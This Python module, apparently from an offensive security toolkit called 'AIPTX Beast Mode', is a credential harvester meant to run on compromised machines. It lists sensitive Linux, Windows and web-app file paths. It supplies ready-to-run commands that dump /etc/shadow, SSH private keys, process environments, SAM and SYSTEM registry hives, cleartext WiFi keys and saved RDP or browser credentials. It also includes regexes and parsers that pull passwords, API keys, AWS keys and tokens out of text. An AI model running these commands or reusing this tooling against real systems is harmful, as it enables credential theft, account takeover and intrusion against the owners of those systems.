"""
AIPTX Beast Mode - Credential Harvester
=======================================

Extract credentials from compromised systems.

Sources:
- Memory dumps
- Configuration files
- Browser stored passwords
- Cloud metadata services
- Environment variables
- Database connection strings
"""

from __future__ import annotations

import logging
import re
from dataclasses import dataclass, field
from datetime import datetime, timezone
from enum import Enum
from typing import Any, Optional

logger = logging.getLogger(__name__)


class CredentialType(str, Enum):
    """Types of credentials."""
    PASSWORD = "password"
    SSH_KEY = "ssh_key"
    API_KEY = "api_key"
    TOKEN = "token"
    CERTIFICATE = "certificate"
    HASH = "hash"
    COOKIE = "cookie"
    DATABASE = "database"
    CLOUD = "cloud"
    OTHER = "other"


class CredentialSource(str, Enum):
    """Source of credential extraction."""
    MEMORY = "memory"
    FILE = "file"
    BROWSER = "browser"
    ENVIRONMENT = "environment"
    CLOUD_METADATA = "cloud_metadata"
    DATABASE_CONFIG = "database_config"
    HISTORY = "history"
    PROCESS = "process"
    REGISTRY = "registry"
    KEYCHAIN = "keychain"


@dataclass
class Credential:
    """A harvested credential."""
    credential_type: CredentialType
    source: CredentialSource
    username: str | None = None
    password: str | None = None
    domain: str | None = None
    host: str | None = None
    port: int | None = None
    service: str | None = None
    raw_data: str | None = None
    metadata: dict[str, Any] = field(default_factory=dict)
    discovered_at: str = field(default_factory=lambda: datetime.now(timezone.utc).isoformat())

    def to_dict(self) -> dict[str, Any]:
        """Convert to dictionary."""
        return {
            "credential_type": self.credential_type.value,
            "source": self.source.value,
            "username": self.username,
            "password": self.password,
            "domain": self.domain,
            "host": self.host,
            "port": self.port,
            "service": self.service,
            "raw_data": self.raw_data,
            "metadata": self.metadata,
            "discovered_at": self.discovered_at,
        }

    def get_connection_string(self) -> str | None:
        """Generate connection string if applicable."""
        if self.credential_type == CredentialType.DATABASE:
            service = self.service or "mysql"
            user = self.username or ""
            pwd = self.password or ""
            host = self.host or "localhost"
            port = self.port or 3306
            return f"{service}://{user}:{pwd}@{host}:{port}"
        return None


# File patterns for credential discovery
CREDENTIAL_FILE_PATTERNS = {
    # Linux
    "linux": [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/sudoers",
        "/etc/ssh/sshd_config",
        "/root/.ssh/id_rsa",
        "/root/.ssh/id_ed25519",
        "/root/.ssh/authorized_keys",
        "/root/.bash_history",
        "/root/.mysql_history",
        "/root/.psql_history",
        "/home/*/.ssh/id_rsa",
        "/home/*/.ssh/id_ed25519",
        "/home/*/.bash_history",
        "/home/*/.gnupg/secring.gpg",
        "/var/www/.env",
        "/var/www/html/.env",
        "/opt/*/.env",
        "/etc/mysql/my.cnf",
        "/etc/postgresql/*/main/pg_hba.conf",
        "/var/lib/mysql/mysql.sock",
        "/tmp/krb5cc_*",
        "/etc/krb5.keytab",
    ],

    # Windows
    "windows": [
        "C:\\Windows\\System32\\config\\SAM",
        "C:\\Windows\\System32\\config\\SYSTEM",
        "C:\\Windows\\System32\\config\\SECURITY",
        "C:\\Windows\\repair\\SAM",
        "C:\\Users\\*\\NTUSER.DAT",
        "C:\\Users\\*\\.ssh\\id_rsa",
        "C:\\Users\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
        "C:\\Users\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\logins.json",
        "C:\\inetpub\\wwwroot\\web.config",
        "C:\\ProgramData\\*.xml",
        "C:\\Users\\*\\Desktop\\*.txt",
        "C:\\Users\\*\\Documents\\*.txt",
    ],

    # Web applications
    "webapp": [
        ".env",
        ".env.local",
        ".env.production",
        "config.php",
        "config.yml",
        "config.json",
        "settings.py",
        "database.yml",
        "secrets.yml",
        "credentials.json",
        "wp-config.php",
        "configuration.php",  # Joomla
        "LocalSettings.php",  # MediaWiki
        "app/config/parameters.yml",  # Symfony
        "config/database.php",  # Laravel
    ],
}

# Regex patterns for credential extraction
CREDENTIAL_REGEX_PATTERNS = {
    # Passwords in config files
    "password_assignment": [
        re.compile(r'password["\s]*[=:]\s*["\']?([^"\'\s\n]+)', re.I),
        re.compile(r'passwd["\s]*[=:]\s*["\']?([^"\'\s\n]+)', re.I),
        re.compile(r'pwd["\s]*[=:]\s*["\']?([^"\'\s\n]+)', re.I),
        re.compile(r'secret["\s]*[=:]\s*["\']?([^"\'\s\n]+)', re.I),
    ],

    # Database connection strings
    "database_connection": [
        re.compile(r'mysql://([^:]+):([^@]+)@([^/]+)/(\w+)', re.I),
        re.compile(r'postgres(?:ql)?://([^:]+):([^@]+)@([^/]+)/(\w+)', re.I),
        re.compile(r'mongodb://([^:]+):([^@]+)@([^/]+)/(\w+)', re.I),
        re.compile(r'redis://([^:]+):([^@]+)@([^:]+):(\d+)', re.I),
    ],

    # API keys
    "api_key": [
        re.compile(r'api[_-]?key["\s]*[=:]\s*["\']?([a-zA-Z0-9_-]{20,})', re.I),
        re.compile(r'apikey["\s]*[=:]\s*["\']?([a-zA-Z0-9_-]{20,})', re.I),
        re.compile(r'access[_-]?key["\s]*[=:]\s*["\']?([a-zA-Z0-9_-]{20,})', re.I),
    ],

    # AWS credentials
    "aws": [
        re.compile(r'AKIA[0-9A-Z]{16}'),
        re.compile(r'aws_access_key_id["\s]*[=:]\s*["\']?([A-Z0-9]{20})', re.I),
        re.compile(r'aws_secret_access_key["\s]*[=:]\s*["\']?([a-zA-Z0-9/+]{40})', re.I),
    ],

    # Private keys
    "private_key": [
        re.compile(r'-----BEGIN (?:RSA |OPENSSH |EC )?PRIVATE KEY-----'),
        re.compile(r'-----BEGIN PGP PRIVATE KEY BLOCK-----'),
    ],

    # Tokens
    "token": [
        re.compile(r'bearer\s+([a-zA-Z0-9._-]+)', re.I),
        re.compile(r'token["\s]*[=:]\s*["\']?([a-zA-Z0-9._-]{20,})', re.I),
        re.compile(r'auth[_-]?token["\s]*[=:]\s*["\']?([a-zA-Z0-9._-]{20,})', re.I),
    ],

    # Hashes
    "hash": [
        re.compile(r'\b([a-fA-F0-9]{32})\b'),  # MD5
        re.compile(r'\b([a-fA-F0-9]{40})\b'),  # SHA1
        re.compile(r'\b([a-fA-F0-9]{64})\b'),  # SHA256
        re.compile(r'\$(?:1|2[aby]?|5|6)\$[a-zA-Z0-9./]+\$[a-zA-Z0-9./]+'),  # Unix crypt
    ],
}


class CredentialHarvester:
    """
    Extract credentials from various sources.

    This class generates commands and patterns for credential
    extraction on compromised systems.
    """

    def __init__(self, os_type: str = "linux"):
        """
        Initialize the credential harvester.

        Args:
            os_type: Target OS type (linux, windows)
        """
        self.os_type = os_type.lower()
        self._extracted: list[Credential] = []

    def get_search_patterns(self) -> dict[str, list[str]]:
        """Get file patterns to search for credentials."""
        patterns = CREDENTIAL_FILE_PATTERNS.get(self.os_type, [])
        patterns.extend(CREDENTIAL_FILE_PATTERNS.get("webapp", []))
        return {
            "files": patterns,
            "regex": list(CREDENTIAL_REGEX_PATTERNS.keys()),
        }

    def get_extraction_commands(self) -> list[dict[str, str]]:
        """
        Get commands to extract credentials.

        Returns:
            List of command dictionaries with 'name', 'command', 'description'
        """
        if self.os_type == "linux":
            return self._get_linux_commands()
        elif self.os_type == "windows":
            return self._get_windows_commands()
        return []

    def _get_linux_commands(self) -> list[dict[str, str]]:
        """Get Linux credential extraction commands."""
        return [
            {
                "name": "shadow_dump",
                "command": "cat /etc/shadow 2>/dev/null",
                "description": "Dump password hashes from /etc/shadow",
            },
            {
                "name": "ssh_keys",
                "command": "find /home -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/null | xargs cat 2>/dev/null",
                "description": "Find and dump SSH private keys",
            },
            {
                "name": "bash_history",
                "command": "cat /home/*/.bash_history /root/.bash_history 2>/dev/null | grep -i 'password\\|passwd\\|secret\\|key'",
                "description": "Search bash history for credentials",
            },
            {
                "name": "env_files",
                "command": "find / -name '.env' -o -name '.env.*' 2>/dev/null | xargs cat 2>/dev/null",
                "description": "Find and dump environment files",
            },
            {
                "name": "mysql_config",
                "command": "cat /etc/mysql/my.cnf ~/.my.cnf 2>/dev/null | grep -i password",
                "description": "Extract MySQL credentials from config",
            },
            {
                "name": "wordpress_config",
                "command": "find /var/www -name 'wp-config.php' 2>/dev/null | xargs cat 2>/dev/null",
                "description": "Extract WordPress database credentials",
            },
            {
                "name": "aws_credentials",
                "command": "cat ~/.aws/credentials 2>/dev/null",
                "description": "Dump AWS credentials file",
            },
            {
                "name": "docker_inspect",
                "command": "docker inspect $(docker ps -q) 2>/dev/null | grep -i 'password\\|secret\\|key'",
                "description": "Search Docker container env vars",
            },
            {
                "name": "process_env",
                "command": "cat /proc/*/environ 2>/dev/null | tr '\\0' '\\n' | grep -i 'password\\|secret\\|key\\|token'",
                "description": "Search process environment variables",
            },
            {
                "name": "gnome_keyring",
                "command": "find /home -path '*/.local/share/keyrings/*' 2>/dev/null",
                "description": "Find GNOME keyring files",
            },
        ]

    def _get_windows_commands(self) -> list[dict[str, str]]:
        """Get Windows credential extraction commands."""
        return [
            {
                "name": "sam_dump",
                "command": "reg save HKLM\\SAM sam.save & reg save HKLM\\SYSTEM system.save",
                "description": "Export SAM and SYSTEM hives",
            },
            {
                "name": "cached_creds",
                "command": "reg query 'HKLM\\Security\\Cache' 2>nul",
                "description": "Query cached domain credentials",
            },
            {
                "name": "wifi_passwords",
                "command": "netsh wlan show profiles | findstr \"Profile\" && for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do netsh wlan show profile name=%a key=clear",
                "description": "Extract saved WiFi passwords",
            },
            {
                "name": "browser_creds",
                "command": "dir /s /b C:\\Users\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login*",
                "description": "Find browser credential files",
            },
            {
                "name": "credential_manager",
                "command": "cmdkey /list",
                "description": "List Windows Credential Manager entries",
            },
            {
                "name": "rdp_creds",
                "command": "reg query \"HKCU\\Software\\Microsoft\\Terminal Server Client\\Servers\" /s",
                "description": "Query saved RDP credentials",
            },
            {
                "name": "iis_config",
                "command": "type C:\\inetpub\\wwwroot\\web.config 2>nul | findstr /i \"password connectionstring\"",
                "description": "Extract IIS web.config credentials",
            },
            {
                "name": "unattend_xml",
                "command": "type C:\\Windows\\Panther\\Unattend.xml 2>nul | findstr /i \"password\"",
                "description": "Search Unattend.xml for credentials",
            },
        ]

    def extract_from_text(
        self,
        text: str,
        source: CredentialSource = CredentialSource.FILE,
    ) -> list[Credential]:
        """
        Extract credentials from text content.

        Args:
            text: Text content to search
            source: Source of the content

        Returns:
            List of extracted Credential objects
        """
        credentials = []

        # Search for password assignments
        for pattern in CREDENTIAL_REGEX_PATTERNS["password_assignment"]:
            for match in pattern.finditer(text):
                cred = Credential(
                    credential_type=CredentialType.PASSWORD,
                    source=source,
                    password=match.group(1),
                    raw_data=match.group(0),
                )
                credentials.append(cred)

        # Search for database connections
        for pattern in CREDENTIAL_REGEX_PATTERNS["database_connection"]:
            for match in pattern.finditer(text):
                cred = Credential(
                    credential_type=CredentialType.DATABASE,
                    source=source,
                    username=match.group(1),
                    password=match.group(2),
                    host=match.group(3),
                    service=match.group(0).split("://")[0] if "://" in match.group(0) else "database",
                    raw_data=match.group(0),
                )
                credentials.append(cred)

        # Search for API keys
        for pattern in CREDENTIAL_REGEX_PATTERNS["api_key"]:
            for match in pattern.finditer(text):
                cred = Credential(
                    credential_type=CredentialType.API_KEY,
                    source=source,
                    password=match.group(1),
                    raw_data=match.group(0),
                )
                credentials.append(cred)

        # Search for AWS credentials
        for pattern in CREDENTIAL_REGEX_PATTERNS["aws"]:
            for match in pattern.finditer(text):
                cred = Credential(
                    credential_type=CredentialType.CLOUD,
                    source=source,
                    service="aws",
                    raw_data=match.group(0),
                    metadata={"provider": "aws"},
                )
                credentials.append(cred)

        # Search for tokens
        for pattern in CREDENTIAL_REGEX_PATTERNS["token"]:
            for match in pattern.finditer(text):
                cred = Credential(
                    credential_type=CredentialType.TOKEN,
                    source=source,
                    password=match.group(1) if match.lastindex else match.group(0),
                    raw_data=match.group(0),
                )
                credentials.append(cred)

        # Search for private keys
        for pattern in CREDENTIAL_REGEX_PATTERNS["private_key"]:
            for match in pattern.finditer(text):
                # Find the full key block
                key_start = match.start()
                key_end = text.find("-----END", key_start)
                if key_end != -1:
                    key_end = text.find("-----", key_end + 8) + 5
                    key_data = text[key_start:key_end]
                    cred = Credential(
                        credential_type=CredentialType.SSH_KEY,
                        source=source,
                        raw_data=key_data,
                    )
                    credentials.append(cred)

        self._extracted.extend(credentials)
        return credentials

    def parse_shadow_file(self, content: str) -> list[Credential]:
        """Parse /etc/shadow file content."""
        credentials = []

        for line in content.strip().split("\n"):
            if not line or line.startswith("#"):
                continue

            parts = line.split(":")
            if len(parts) >= 2:
                username = parts[0]
                hash_value = parts[1]

                # Skip locked/disabled accounts
                if hash_value in ("*", "!", "!!", ""):
                    continue

                cred = Credential(
                    credential_type=CredentialType.HASH,
                    source=CredentialSource.FILE,
                    username=username,
                    password=hash_value,
                    service="system",
                    metadata={"file": "/etc/shadow"},
                )
                credentials.append(cred)

        self._extracted.extend(credentials)
        return credentials

    def parse_aws_credentials(self, content: str) -> list[Credential]:
        """Parse AWS credentials file."""
        credentials = []
        current_profile = "default"
        current_cred: dict[str, str] = {}

        for line in content.strip().split("\n"):
            line = line.strip()

            # Profile header
            if line.startswith("[") and line.endswith("]"):
                if current_cred:
                    cred = Credential(
                        credential_type=CredentialType.CLOUD,
                        source=CredentialSource.FILE,
                        username=current_cred.get("access_key"),
                        password=current_cred.get("secret_key"),
                        service="aws",
                        metadata={
                            "profile": current_profile,
                            "provider": "aws",
                        },
                    )
                    credentials.append(cred)

                current_profile = line[1:-1]
                current_cred = {}

            elif "=" in line:
                key, value = line.split("=", 1)
                key = key.strip().lower()
                value = value.strip()

                if "access_key" in key:
                    current_cred["access_key"] = value
                elif "secret" in key:
                    current_cred["secret_key"] = value

        # Don't forget the last profile
        if current_cred:
            cred = Credential(
                credential_type=CredentialType.CLOUD,
                source=CredentialSource.FILE,
                username=current_cred.get("access_key"),
                password=current_cred.get("secret_key"),
                service="aws",
                metadata={
                    "profile": current_profile,
                    "provider": "aws",
                },
            )
            credentials.append(cred)

        self._extracted.extend(credentials)
        return credentials

    def get_extracted(self) -> list[Credential]:
        """Get all extracted credentials."""
        return self._extracted.copy()

    def clear(self):
        """Clear extracted credentials."""
        self._extracted = []


def harvest_credentials(
    text: str,
    source: CredentialSource = CredentialSource.FILE,
    os_type: str = "linux",
) -> list[Credential]:
    """Convenience function to harvest credentials from text."""
    harvester = CredentialHarvester(os_type)
    return harvester.extract_from_text(text, source)


__all__ = [
    "CredentialType",
    "CredentialSource",
    "Credential",
    "CredentialHarvester",
    "harvest_credentials",
    "CREDENTIAL_FILE_PATTERNS",
    "CREDENTIAL_REGEX_PATTERNS",
]
